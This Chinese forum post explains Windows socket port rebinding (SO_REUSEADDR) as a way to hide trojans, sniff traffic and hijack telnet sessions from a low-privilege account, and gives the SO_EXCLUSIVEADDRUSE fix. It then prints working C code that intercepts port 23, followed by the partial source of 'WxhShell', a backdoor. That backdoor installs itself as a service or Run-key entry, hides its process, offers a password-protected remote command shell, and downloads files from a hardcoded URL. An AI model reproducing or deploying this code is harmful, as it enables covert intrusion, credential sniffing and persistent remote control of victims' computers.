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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fwz5{>ON]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zi15wE  
!c3Qcva  
  saddr.sin_family = AF_INET; vgd}09y  
loAfFK>g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (dw3'W  
OoA5!HEh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?}!gLp  
W_Ws3L1;N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 htNL2N  
@p?b"?QaB  
  这意味着什么?意味着可以进行如下的攻击: @9 qzn&A  
Q7OnhGA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S:"z<O  
Q)7L^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {g23[$X]N  
I{Y {  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kM}ic(K  
Z:r$;`K/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oqQ?2k<@  
3<Pyr-z h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bRY4yT  
^+Y-=2u:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .T N`p*  
bHlDm~5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -O5(%  
A$$R_3ne  
  #include RLeSA\di  
  #include %<bG%V(  
  #include Q:Nwy(,I  
  #include    2!"\;/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O_%PBgcJr  
  int main() J_((o  
  { qJAv=D  
  WORD wVersionRequested; 9cx!N,R t  
  DWORD ret; GwU>o:g"  
  WSADATA wsaData; vb80J<4  
  BOOL val; b*F :l#  
  SOCKADDR_IN saddr; AU${0#WV_  
  SOCKADDR_IN scaddr; /oix tO)  
  int err; C$Hl`>?$  
  SOCKET s; (qq$y #$  
  SOCKET sc; (Mire%$h  
  int caddsize; !<UEq`2  
  HANDLE mt; Z1MJ!{@6  
  DWORD tid;   V+@%(x@D_  
  wVersionRequested = MAKEWORD( 2, 2 ); UHsrZgIRYT  
  err = WSAStartup( wVersionRequested, &wsaData ); o )}<   
  if ( err != 0 ) { ytcG6WN3  
  printf("error!WSAStartup failed!\n"); Ty,)mx){)  
  return -1; _|5FrN  
  } ~_^o?NE,  
  saddr.sin_family = AF_INET; Yqz[sz5+m  
   ky lrf4=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^|hRu{Q W  
KTAe~y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); | 9\7xT  
  saddr.sin_port = htons(23); ZE3ysLk m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O+UV\  
  { (w@MlMk  
  printf("error!socket failed!\n"); eL$U M  
  return -1; Kr}M>hF+|  
  } c#4L*$ViF  
  val = TRUE; B$[%pm`'2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $y]||tX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?}lpo; $  
  { ~IJZM`gN  
  printf("error!setsockopt failed!\n"); >7v.`m6?H  
  return -1; g  cK"  
  } N@du.d:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1p "EE~ v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XCi]()TZ_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j*Wh;I+h  
'2q xcco  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -aeo7C  
  { l1|,Lr  
  ret=GetLastError(); Gk]qE]hi  
  printf("error!bind failed!\n"); E( 4lu%  
  return -1; ^*UfCoj9Z  
  }  W$VCST  
  listen(s,2); ]OCJ~Zw  
  while(1) -L4G WJ~.-  
  { %F]9^C+  
  caddsize = sizeof(scaddr); n4_:#L?  
  //接受连接请求 'rq#q)1MT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E{]|jPdr  
  if(sc!=INVALID_SOCKET) "VVR#H}{  
  { ,IZxlf%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $CYpO}u#  
  if(mt==NULL) Wj{Rp{}3  
  { i,b7Ft:F&  
  printf("Thread Creat Failed!\n"); ^@5ui;JV  
  break; uW-- nXMs  
  } _Ag/gu2-?  
  } ~FCSq:_  
  CloseHandle(mt); JLV}Fw  
  } AL$ Ty  
  closesocket(s); W<hdb!bE  
  WSACleanup(); |I^Jn@Mq:  
  return 0; 9xS`@ "`  
  }   ;>8TNB e!  
  DWORD WINAPI ClientThread(LPVOID lpParam) +(P 43XO08  
  { /B?SaKh  
  SOCKET ss = (SOCKET)lpParam;  yLIj4bf  
  SOCKET sc; :AcN b  
  unsigned char buf[4096]; VOK$;s'9}  
  SOCKADDR_IN saddr; % oL&~6l$  
  long num; SoGLsO+R  
  DWORD val; f]6` GsE  
  DWORD ret; [W|7r n,q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7 te!>gUW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~Z/`W`  
  saddr.sin_family = AF_INET; ~JRu MP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8sjHQ)<  
  saddr.sin_port = htons(23); 6l]?%0[*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~aR='\<  
  { ysT!^-&p  
  printf("error!socket failed!\n"); PdN\0B `  
  return -1; a.U:B [v`  
  } Gv nclnG  
  val = 100; V7'x? pt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r ~!%w(N|M  
  { pmD-]0  
  ret = GetLastError(); gx9sBkoq5D  
  return -1; *]| JX&  
  } T2PFE4+Dp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a1sLRqo8  
  { 7<'i#E~  
  ret = GetLastError(); :-@P3F[0  
  return -1; d*:qFq_  
  } Ol h%"=*;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AdS_-Cm  
  { 1Y"qQp  
  printf("error!socket connect failed!\n"); H_f2:Za  
  closesocket(sc); <WKz,jh  
  closesocket(ss); <m gTWv  
  return -1; WuZ n|j'  
  } iZUz6  
  while(1) @' :um  
  { n ~i4yn=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8jGoU 9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kc']g:*]Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WK)k-A^q  
  num = recv(ss,buf,4096,0); R.'Gg  
  if(num>0) kJpHhAn4  
  send(sc,buf,num,0); 2Xs< 1rF  
  else if(num==0) $"n)C  
  break; ]Tw6Fg1o>  
  num = recv(sc,buf,4096,0); oc%le2   
  if(num>0) XlJux_LD:  
  send(ss,buf,num,0);  %!h+  
  else if(num==0) aYCzb7  
  break; 4xn^`xf9  
  } a} 7KpKCD  
  closesocket(ss); #UeU:RJ1  
  closesocket(sc); A8/4:>Is  
  return 0 ; yf^gU*  
  } eV+wnE?SB5  
g)6 k?Y  
mBkQ 8e  
========================================================== |Qm%G\oB?  
zV Li  
下边附上一个代码,,WXhSHELL Y6;9j=[  
G'C^C[_W  
========================================================== #@"rp]1xv  
{#Cm> @')  
#include "stdafx.h" w7V W   
+NMSvu_?  
#include <stdio.h> Z'm%3  
#include <string.h> %--5bwZi  
#include <windows.h> 4\WkXwoqQO  
#include <winsock2.h> buyz>IC P  
#include <winsvc.h> b:I5poI3  
#include <urlmon.h> D5vtZu!"  
RtQfE+  
#pragma comment (lib, "Ws2_32.lib") .u3W]5M|  
#pragma comment (lib, "urlmon.lib")  o*1`,n  
I _G;;GF  
#define MAX_USER   100 // 最大客户端连接数 ~mo `  
#define BUF_SOCK   200 // sock buffer _JO @O^Ndd  
#define KEY_BUFF   255 // 输入 buffer X1D:{S[  
X_8NW,  
#define REBOOT     0   // 重启 6x8|v7cMH  
#define SHUTDOWN   1   // 关机 wIHz TL  
%d\+(:uu/  
#define DEF_PORT   5000 // 监听端口 iPYlTV  
wf$ JuHPt  
#define REG_LEN     16   // 注册表键长度 (W/UR9x)|d  
#define SVC_LEN     80   // NT服务名长度 ,dMi+c`ax  
dj**,*s  
// 从dll定义API ]>T/Gl1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _Hj,;Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,Gx=e!-N5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "g[UX{L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _I5+o\;1  
iiB$<b.((I  
// wxhshell配置信息 aV, J_Q6r  
struct WSCFG { M_I\:Q  
  int ws_port;         // 监听端口 K%Ml2V   
  char ws_passstr[REG_LEN]; // 口令 g<3>7&^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9DKB+K.1  
  char ws_regname[REG_LEN]; // 注册表键名 >;?97'M  
  char ws_svcname[REG_LEN]; // 服务名 <2A'   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7^X_tQf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W4a20KM2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9oz)E>K4f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K#m o+n5-;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V#KM~3e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JwVv+9hh  
th|Q NG  
}; aX:$Q }S  
6* w;xf  
// default Wxhshell configuration _ RT}Ee}Y  
struct WSCFG wscfg={DEF_PORT, [wYQP6Cyy  
    "xuhuanlingzhe", @S):a`J  
    1, <Ux;dekz}  
    "Wxhshell", :gv#_[k  
    "Wxhshell", 8G<.5!f7`N  
            "WxhShell Service", nJC}wh2d#  
    "Wrsky Windows CmdShell Service", 9Ua@-  
    "Please Input Your Password: ", &t4(86Bmq  
  1, OSU=O  
  "http://www.wrsky.com/wxhshell.exe", Q)&Ztw<  
  "Wxhshell.exe" =v9;HPiO  
    }; SBt: `,  
<0}'#9>O  
// 消息定义模块 z0Hh8*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0l*/_;wo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aR $P}]H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +M:Q!'  
char *msg_ws_ext="\n\rExit."; |05LHwb>  
char *msg_ws_end="\n\rQuit."; @DR&e^Zz  
char *msg_ws_boot="\n\rReboot..."; %Kp}Wo6  
char *msg_ws_poff="\n\rShutdown..."; \SR  
char *msg_ws_down="\n\rSave to "; >O=V1  
dx}!]_mlZ  
char *msg_ws_err="\n\rErr!"; TH VF@@q  
char *msg_ws_ok="\n\rOK!"; V" 73^  
^;bkU|(`6  
char ExeFile[MAX_PATH]; ~qH@Kz\%  
int nUser = 0; ESI}+  
HANDLE handles[MAX_USER]; D%v yO_k  
int OsIsNt; ,;y^|X  
o 8U2vMH  
SERVICE_STATUS       serviceStatus; 'Ud5;?{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U>XGJQ<NS  
$4pW#4/4  
// 函数声明 L_|Y_=r."  
int Install(void); +/tD$  
int Uninstall(void); Ja1*a,],L  
int DownloadFile(char *sURL, SOCKET wsh); mHy]$Z  
int Boot(int flag); 6D<A@DR9J  
void HideProc(void); !$HWUxM;p  
int GetOsVer(void); 0M p>X  
int Wxhshell(SOCKET wsl); ]gZjV  
void TalkWithClient(void *cs); l?~h_8&fT  
int CmdShell(SOCKET sock); Xqk$[ peS  
int StartFromService(void); :nt%z0_  
int StartWxhshell(LPSTR lpCmdLine); 3-D!ZS&  
sM K/l @7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B^{DCHu/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mv3Ch'X[  
P.0-(  
// 数据结构和表定义 `Ii>w b  
SERVICE_TABLE_ENTRY DispatchTable[] = >Ko )Z&j9W  
{ rYJvI  
{wscfg.ws_svcname, NTServiceMain}, TXM.,5Dx\  
{NULL, NULL} bUNp>H>L  
}; l{4\Wn Va  
*?K=;$  
// 自我安装 4=Zlsp  
int Install(void) N INiX(  
{ F)G#\r  
  char svExeFile[MAX_PATH]; (@Bm2gH  
  HKEY key; FW4 hqgE@  
  strcpy(svExeFile,ExeFile); aum,bm/0J  
<4Fd ~  
// 如果是win9x系统,修改注册表设为自启动 ]F~5l?4u#  
if(!OsIsNt) { #*~Uu.T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Ip<bbB0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6~s,j({^  
  RegCloseKey(key); iu .{L(m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {mDaK&]Oh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =|V3cM4'  
  RegCloseKey(key); shB(kb{{  
  return 0; 2%I:s6r  
    } @tA.^k0`  
  } v|xlI4  
} VO9<:R  
else { T7v8}_"-  
!Zrvko  
// 如果是NT以上系统,安装为系统服务 @fw U%S[v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IO4 IaeM  
if (schSCManager!=0) SO%5ts  
{ $lQi0*s  
  SC_HANDLE schService = CreateService _rM%N+$&d_  
  (  >Pu*MD;  
  schSCManager, (bw;zNW  
  wscfg.ws_svcname, P|?z1JUd  
  wscfg.ws_svcdisp, >Et?7@   
  SERVICE_ALL_ACCESS, H_Yy.yi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =cQw R:):  
  SERVICE_AUTO_START, ATU@5,9  
  SERVICE_ERROR_NORMAL, 1\2 m'o  
  svExeFile, ]k Pco4  
  NULL, Dj|S  
  NULL, ` C1LR,J  
  NULL, (R, eWWF8~  
  NULL, AYi$LsLhO  
  NULL CY:pYke=  
  ); Z#Fw 1  
  if (schService!=0) /c7j@=0  
  { bMZ0%(q  
  CloseServiceHandle(schService); OjHBzrK  
  CloseServiceHandle(schSCManager); !\m.&lk'^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PQK_*hJG"  
  strcat(svExeFile,wscfg.ws_svcname); dx~Wm1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kk,->q<1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9T]]TEv4  
  RegCloseKey(key); +0OQ"2^&  
  return 0; {`'b+0[;@  
    } sk5\"jna  
  } rk~/^(!  
  CloseServiceHandle(schSCManager); ^Iz.O  
} }X UHP%  
} y|aWUX/a  
yDKX,  
return 1; ]:njP3r  
} 0MOAd!N  
; ^$RG  
// 自我卸载 B}Qo8i7 z  
int Uninstall(void) Ub"\LUu  
{ 8c~H![2u  
  HKEY key; &.}zZ/  
] !H<vR$8  
if(!OsIsNt) { H\S,^)drJ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 29GiNy+ob  
  RegDeleteValue(key,wscfg.ws_regname); m4iR '~L}  
  RegCloseKey(key); BK +JHT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3:,Gbyap  
  RegDeleteValue(key,wscfg.ws_regname); 4 qnQF]4  
  RegCloseKey(key); ]u:NE'0Xy  
  return 0; 5u&jNU5m_  
  } mB\5bSFY`  
}  }N[sydL  
} 7+c@pEU]  
else { r'8e"pTi  
3S,pd0;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4e:hKv,+4  
if (schSCManager!=0) qUo(hbp  
{ Z` Aiw."|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (*EN!-/  
  if (schService!=0) K,RIa0)  
  { D,7! /u'  
  if(DeleteService(schService)!=0) { #8`G&S*  
  CloseServiceHandle(schService); CI,-q i  
  CloseServiceHandle(schSCManager); V;z?m)ur  
  return 0; QK72 F  
  }  A=,m  
  CloseServiceHandle(schService); >3ODqRu  
  } ovHbs^H%  
  CloseServiceHandle(schSCManager); !xlVyt5e  
} bUBuJ  
} ^,X+ n5q;m  
HCP Be2  
return 1; /i]Gg \)  
} eI[z%j[Y*  
NZ_45/(dx  
// 从指定url下载文件 4M:oa#gh@  
int DownloadFile(char *sURL, SOCKET wsh) V=c&QPP  
{ f="}.  
  HRESULT hr; ;9^B# aTM  
char seps[]= "/"; 0e:aeLh  
char *token; 6(z.(eT  
char *file; ]*@7o^4i  
char myURL[MAX_PATH]; Kq1sGk  
char myFILE[MAX_PATH]; |9g*rO  
&O'yhAP] j  
strcpy(myURL,sURL); PvM<#zq_  
  token=strtok(myURL,seps); @<Y Za$`  
  while(token!=NULL) d ] [E;$  
  { IL~yJx_11  
    file=token; iD\joh-C  
  token=strtok(NULL,seps); +EFur dX\  
  } zJ\I%7h*  
{S}/LSNB  
GetCurrentDirectory(MAX_PATH,myFILE); F[+sc Mx!G  
strcat(myFILE, "\\"); )TWf/L cp  
strcat(myFILE, file); c>^_4QQ  
  send(wsh,myFILE,strlen(myFILE),0); c{E-4PYbah  
send(wsh,"...",3,0); 4Qw!YI#40$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jn&(v"_  
  if(hr==S_OK) |k^X!C0  
return 0; 3B_S>0H"$  
else LWW0lG!_F  
return 1; Wbc % G8  
mX#T<_=d  
} 6q5V*sJ&  
KLxg  
// 系统电源模块 v\<`"  
int Boot(int flag) :s4CWE d  
{ A*$vk2VWw  
  HANDLE hToken; wM|-u/9+  
  TOKEN_PRIVILEGES tkp; UVUHLu|^  
`0so)2ty+  
  if(OsIsNt) { ;zGGT^Dn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UqAvFCy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w0.#/6  
    tkp.PrivilegeCount = 1; 0D\FFfs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f[z#=zv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zgO?%O  
if(flag==REBOOT) { ^{bP#f   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \'p)kDf  
  return 0; Wl*\kQ}U  
} Z8:iaP)  
else { `=.{i}V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `aC#s3[  
  return 0; 4iKT  
} aWit^dp  
  } h;B'#$_  
  else { DZ EA*E>  
if(flag==REBOOT) { !?KY;3L:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yyXJ_B  
  return 0; HezCRtxRcc  
} |~>8]3. Y  
else { Hj5b.fB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5Po.&eS  
  return 0; ZGS=;jM  
} \zKVgywR  
} s*S@} l  
\Q#F&q0  
return 1; L 5>>gG ,  
} 2\7]EW  
Gjzhgz--  
// win9x进程隐藏模块 j\W+wnAgk  
void HideProc(void) {yJ{DU?%Y  
{ o`& idn|,  
j6Vuj/+}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "=qdBG9  
  if ( hKernel != NULL ) Q@M,:0+cy  
  { `a<G7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hiq9Jn uv(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f'}23\>  
    FreeLibrary(hKernel); h5Z%|J>;0  
  } G;tIhq[$Vb  
Z'u`)jR  
return; rMI:zFS  
} GSMP)8 W  
LNr2YRpyz  
// 获取操作系统版本 8I@_X~R  
int GetOsVer(void) Lrz>00(*4  
{ DTJ~.  
  OSVERSIONINFO winfo; wD*_S}]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =!p6}5Z  
  GetVersionEx(&winfo); YWm:#{n.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ble <n6  
  return 1; h883pe=  
  else M T{^=F ]  
  return 0; ($ae n  
} zRu}lJ1#W$  
b7=]"|c$@  
// 客户端句柄模块 P$q IB[Xi  
int Wxhshell(SOCKET wsl) N<?RN;M  
{ ty(F;M(  
  SOCKET wsh; cnI!}Bu  
  struct sockaddr_in client; _7 n+j  
  DWORD myID; >WDb89kC=  
q~a6ES_lA  
  while(nUser<MAX_USER) &ts!D!Hj  
{ W~gFY#w  
  int nSize=sizeof(client); sYeZ.MacU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vZ|m3;X  
  if(wsh==INVALID_SOCKET) return 1; Bm^vKzp  
{y :/9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7|H !(a'  
if(handles[nUser]==0) TlM ]d;9G  
  closesocket(wsh); u YJ6 "j  
else dGZVWEaPfx  
  nUser++; 'os-+m@  
  } _sw,Y!x%dF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \ <V{6#Q=  
u TOL  
  return 0; B<+}_3.  
} ,u! c|4  
F%L^k.y$  
// 关闭 socket _ 57m] ;&  
void CloseIt(SOCKET wsh) Y]ZOvA5W  
{ '%)7%O,2  
closesocket(wsh); cl^tX%  
nUser--; c6Wy1d^  
ExitThread(0); N=-hXgX^  
} UiW( /L  
Kh3*\xT  
// 客户端请求句柄 yl)}1DPP  
void TalkWithClient(void *cs) CkIICx  
{ KeY)%{  
Nqy',N  
  SOCKET wsh=(SOCKET)cs; nz+DPk["  
  char pwd[SVC_LEN]; hO\_RhsRy?  
  char cmd[KEY_BUFF]; (5VP*67  
char chr[1]; ;clF\K>  
int i,j; ]yA| m3^2  
(l9U7^S"{K  
  while (nUser < MAX_USER) { ]"aC wr  
~[l2"@  
if(wscfg.ws_passstr) { G^oBu^bq~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7@MVInV9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oO!@s`  
  //ZeroMemory(pwd,KEY_BUFF); 9fyk7~ V  
      i=0; Fj -mo>"  
  while(i<SVC_LEN) { <?QY\wyikz  
6]7iiQz"H  
  // 设置超时 hyFq>XFo  
  fd_set FdRead; TRG"fVR  
  struct timeval TimeOut; GIt; Y  
  FD_ZERO(&FdRead); m?bb/o'B  
  FD_SET(wsh,&FdRead); Q:lSKf  
  TimeOut.tv_sec=8; Lab{?!E>U  
  TimeOut.tv_usec=0; ~%(r47n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 61b,+'-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.G6c=pZ  
`dMl5b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cKdy)T%;  
  pwd=chr[0]; ~cQP4 kBD]  
  if(chr[0]==0xd || chr[0]==0xa) { i$$\}2m{L  
  pwd=0; , )u}8ty3j  
  break; 7DXT1+t  
  } I3p ~pt2  
  i++; 6D@tCmmq  
    } 'd(OFE-hn  
KhYGiVA  
  // 如果是非法用户,关闭 socket cBiv=!n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !uy?]l  
} M"ZP s   
AZxOq !B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {PWz:\oaD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?}bSQ)b  
ey@y?X=  
while(1) { 2j*\n|"}{  
tihb38gE  
  ZeroMemory(cmd,KEY_BUFF); X Oc0j9Oa  
*!Vic#D%  
      // 自动支持客户端 telnet标准   ,H[-.}OO  
  j=0; 7 8Nli/U  
  while(j<KEY_BUFF) { i=]IUjx<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ycIT=AFYqd  
  cmd[j]=chr[0]; @| qnD  
  if(chr[0]==0xa || chr[0]==0xd) { `N;u#z  
  cmd[j]=0; L*11hyyk  
  break; {>pB  
  } O=G2bdY{,  
  j++; v5RS<?o  
    } _LxV)  
#c./<<P5}  
  // 下载文件 _T<ney}Y<  
  if(strstr(cmd,"http://")) { >5i1M^g(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m%'9zL c  
  if(DownloadFile(cmd,wsh)) wwmMpK}f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LPvyfD;Zy  
  else *.~hn5Y|?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &l-g3l[  
  } 84cmPnaT  
  else { KSc&6UVz^  
[}+0N GgR  
    switch(cmd[0]) { (S =::ODU  
  #sq-V,8  
  // 帮助 &H-39;?u  
  case '?': { I7hPE7V+1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M%1-fd  
    break; > rB7ms/@E  
  } tlA4oVII  
  // 安装 !c\s)&U7B  
  case 'i': { PQlG !  
    if(Install()) mAX]m1s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )U`H7\*)  
    else kS[k*bN0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pzCD' !*  
    break; \b1I<4(  
    } ;yx+BaG~?  
  // 卸载 cJGA5m/{I  
  case 'r': { \"<&8  
    if(Uninstall()) P (_:8|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k$7-F3  
    else W#8qhmt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L/c$p`-  
    break; }$Q+x'  
    } rPZ<  
  // 显示 wxhshell 所在路径 YEF%l'm( \  
  case 'p': { <YUc?NF  
    char svExeFile[MAX_PATH]; Fx/9T2%=  
    strcpy(svExeFile,"\n\r"); _C)u#]t  
      strcat(svExeFile,ExeFile); &YmOXKf7  
        send(wsh,svExeFile,strlen(svExeFile),0); fc+P`r  
    break; ?A8Uf=  
    } !3-mPG< ]  
  // 重启 ACU0  
  case 'b': { `Btdp:j8i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^>72<1U%  
    if(Boot(REBOOT)) m32OE`s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L>).o%(R  
    else { u> %r(  
    closesocket(wsh); !-|&  
    ExitThread(0);  d9R0P2  
    } yaa+j8s]  
    break; =9LC "eI&|  
    } \V7Hi\)  
  // 关机 3`5?Zgp  
  case 'd': { %Jq(,u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q}M^i7IE  
